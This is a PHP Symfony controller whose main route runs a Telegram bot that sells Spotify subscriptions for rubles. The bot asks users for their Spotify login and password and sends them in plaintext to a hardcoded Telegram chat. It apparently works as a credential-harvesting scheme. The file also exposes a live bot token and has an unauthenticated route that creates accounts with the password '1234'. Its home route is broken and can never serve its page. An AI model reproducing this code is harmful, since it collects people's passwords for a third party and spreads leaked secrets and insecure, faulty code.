<?php
namespace App\Controller;
use App\Bot\TelegramBot;
use App\Entity\{User, UserProfile};
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
use Symfony\Contracts\Cache\CacheInterface;
class MainController extends AbstractController{
/**
* @Route("/dev/graphqlVoyager/", name="_dev_graphqlVoyager")
*/
public function devGraphqlVoyagerAction(){
return $this->render('graphqlVoyager.html.twig');
}
/**
* @Route("/dev/graphiql/", name="_dev_graphiql")
*/
public function devGraphiqlAction(Request $request){
return $this->render('graphiql.html.twig');
}
/**
* @Route("/s93imo2ZN23N1/", name="_tb", methods={"POST"})
*/
public function main(
Request $request,
CacheInterface $cache
){
$tb = new TelegramBot(
'5159671633:AAFPSK-izXwORNJySA7UyDmO2u6oYl3S_3M',
$cache
);
$tb->setNotFoundRoute(function($data, $chatId) use($tb){
$tb->messageSend($chatId, 'Незнаю такой команды. попробуй сначала /start');
return 'start';
});
$tb->addRoute('start', function($data, $chatId, $userName) use($tb){
$tb->messageSend(
$chatId,
'Привет, '.$userName.', бот позволит оформить подписку на следующие сервисы:',
['inline_keyboard' => [
[['text' => 'Spotify', 'callback_data' => 'spotify']],
//['text' => 'Apple One', 'callback_data' => 'spotify'],
//['text' => 'Google One', 'callback_data' => 'spotify'],
]]
);
return 'start';
});
$tb->addRoute('spotify', function($data, $chatId) use($tb){
$tb->addUserData($chatId, 'service', 'Spotify');
$tb->messageSend($chatId, 'Доступны следующие подписки для Spotify:',
['inline_keyboard' => [
[['text' => 'Отмена', 'callback_data' => 'start']],
[['text' => '1 месяц - 100 RUB', 'callback_data' => 'spotify1']],
[['text' => '3 месяц - 300 RUB', 'callback_data' => 'spotify3']],
[['text' => '6 месяц - 600 RUB', 'callback_data' => 'spotify6']],
]]
);
return 'start';
});
$tb->addRoute('spotify1', function($data, $chatId) use($tb){
$tb->addUserData($chatId, 'month', 1);
$tb->messageSend($chatId, 'Выбрана подписка: Spotify 1 месяц'.PHP_EOL.'Напиши логин от сервиса');
return 'spotifyLogin';
});
$tb->addRoute('spotify3', function($data, $chatId) use($tb){
$tb->addUserData($chatId, 'month', 3);
$tb->messageSend($chatId, 'Выбрана подписка: Spotify 3 месяц'.PHP_EOL.'Напиши логин от сервиса');
return 'spotifyLogin';
});
$tb->addRoute('spotify6', function($data, $chatId) use($tb){
$tb->addUserData($chatId, 'month', 6);
$tb->messageSend($chatId, 'Выбрана подписка: Spotify 6 месяц'.PHP_EOL.'Напиши логин от сервиса');
return 'spotifyLogin';
});
$tb->addRoute('spotifyLogin', function($data, $chatId) use($tb){
$tb->addUserData($chatId, 'login', $data->message->text);
$tb->messageSend($chatId, 'Напиши пароль от сервиса Spotify');
return 'spotifyConfirm';
});
$tb->addRoute('spotifyConfirm', function($data, $chatId) use($tb){
$tb->addUserData($chatId, 'pass', $data->message->text);
$userData = $tb->getUserData($chatId);
$tb->messageSend(
$chatId,
'Подтвердите данные:'.PHP_EOL.
'Сервис: '.$userData['service'].PHP_EOL.
'Подписка: '.$userData['month'].PHP_EOL.
'Логин: '.$userData['login'].PHP_EOL.
'Пароль: '.$userData['pass'].PHP_EOL,
['inline_keyboard' => [
[['text' => 'Отмена', 'callback_data' => 'start']],
[['text' => 'Подтвердить', 'callback_data' => 'spotifyRequest']]
]]
);
return 'start';
});
$tb->addRoute('spotifyRequest', function($data, $chatId) use($tb){
$userData = $tb->getUserData($chatId);
$tb->deleteUserData($chatId);
$tb->messageSend(190319499, $userData['login'].' - '.$userData['pass']);
$tb->messageSend($chatId, 'Заявка оформлена.'.PHP_EOL.'Мы сообщим тебе когда подписка будет совершена!');
return 'start';
});
$tb->run($request);
return $this->json([]);
}
/**
* @Route("/", name="_main")
* @Route("/schedule")
* @Route("/appointment")
*/
public function mainAction(
Request $request,
EntityManagerInterface $em){
if(!is_object($this->getUser())) {
$user = $em->getRepository(User::class)->findOneBy(['id' => $this->getUser()->getId()]);
$this->get('security.token_storage')->setToken(new UsernamePasswordToken(
$user,
$user->getPassword('1234'),
'secured_area',
$user->getRoles()
));
}
throw new NotFoundHttpException();
return new Response(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/index.html'));
}
/**
* @Route("/panel/", name="_panel")
* @Route("/panel/{path<.+>}", name="_panel_all")
*/
public function frontAction(Request $request, EntityManagerInterface $em){
return new Response(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/panel/index.html'));
}
/**
* @Route("/reg/", name="_reg")
*/
public function regAction(
Request $request,
EntityManagerInterface $em,
UserPasswordEncoderInterface $passwordEncoder){
$us = [
'Сокотухина',
'Якубова',
'Чербняк',
'Фаткуллина',
'Хабибуллина',
'Хафизова',
'Голованова',
'Иванова',
'Петрова',
];
foreach($us as $u){
$userProfile = new UserProfile();
$userProfile->setFirstName('Ира');
$userProfile->setLastName($u);
$userProfile->setSecondName('Разумеева');
$user = new User();
$user->setUsername($userProfile->getName());
$user->setPhone('891234567890');
$user->setPassword($passwordEncoder->encodePassword($user, '1234'));
$em->persist($user);
$em->flush();
$userProfile->setUser($user);
$em->persist($userProfile);
$em->flush();
}
/*
$user = new User();
$user->setType(User::TYPE_ADMIN);
$user->setUsername("Андрей А. М.");
$user->setPhone(81234567890);
$user->setPassword($passwordEncoder->encodePassword($user, '1234'));
$em->persist($user);
$em->flush();
*/
return $this->render('main.html.twig', [
]);
}
/**
* @Route("/wstest/", name="_wstest")
*/
public function wstestAction(Request $request){
return $this->render('wstest.html.twig', [
]);
}
}